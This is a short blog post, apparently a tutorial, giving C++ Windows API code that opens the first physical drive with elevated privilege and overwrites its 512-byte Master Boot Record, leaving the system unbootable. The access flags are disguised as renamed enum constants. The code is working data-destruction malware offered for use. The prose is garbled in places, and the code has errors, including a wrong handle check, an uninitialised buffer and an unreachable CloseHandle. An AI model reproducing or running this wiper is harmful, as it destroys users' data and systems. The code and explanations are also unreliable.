In this article, I will describe overwriting - erasing the MBR sector.
This is a relatively simple way how to erase the boot sector.
When the MBR is erased, it is overwritten, and this can be done with some values of 512 MB size, or just empty space, Its space allocated.
I chose to rewrite the allocated space of the BYTE type and pre-address it asynchronously.
The code might look something like this:
#include "WinAPI.h" //https://www.netbot.sk/en/14-blog-headers/44-winapi-en
#define MBR_SIZE 512
enum SystemAccess:DWORD {
SYSTEMACCESS1 = 0x80000000,
SYSTEMACCESS2 = 0x40000000,
SYSTEMACCESS3 = 0x00000001,
SYSTEMACCESS4 = 0x00000002,
SYSTEMACCESSA = 0x40000000,
SYSTEMACCESSB = 0x20000000
};
bool EraseMBR(char * device)
{
::HANDLE MasterBootRecord;
MasterBootRecord = ::CreateFileA(device, SystemAccess::SYSTEMACCESS1|SystemAccess::SYSTEMACCESS2, SystemAccess::SYSTEMACCESS3|SystemAccess::SYSTEMACCESS4, NULL, 3, SystemAccess::SYSTEMACCESSA|SystemAccess::SYSTEMACCESSB, 0);
if(MasterBootRecord)
{
BYTE * MBR_CONTENT = new byte[MBR_SIZE];
DWORD MBRDword;
::OVERLAPPED Overlap = {0};
::memset(&Overlap, 0, sizeof(Overlap));
::ULONG Written;
Overlap.Offset = 0;
Overlap.OffsetHigh = 0;
Overlap.hEvent = 0;
bool result = ::WriteFile(MasterBootRecord, MBR_CONTENT, MBR_SIZE, &MBRDword, &Overlap);
delete [] MBR_CONTENT;
return result;
} else {
return 0;
}
::CloseHandle(MasterBootRecord);
}
int _cdecl main (void)
{
::Diall_WinApi::WinApi::GetInstance()->SystemIntegrity(::Diall_WinApi::Privilege::ENABLE);
EraseMBR("\\\\.\\PhysicalDrive0");
return 0;
}
Example video: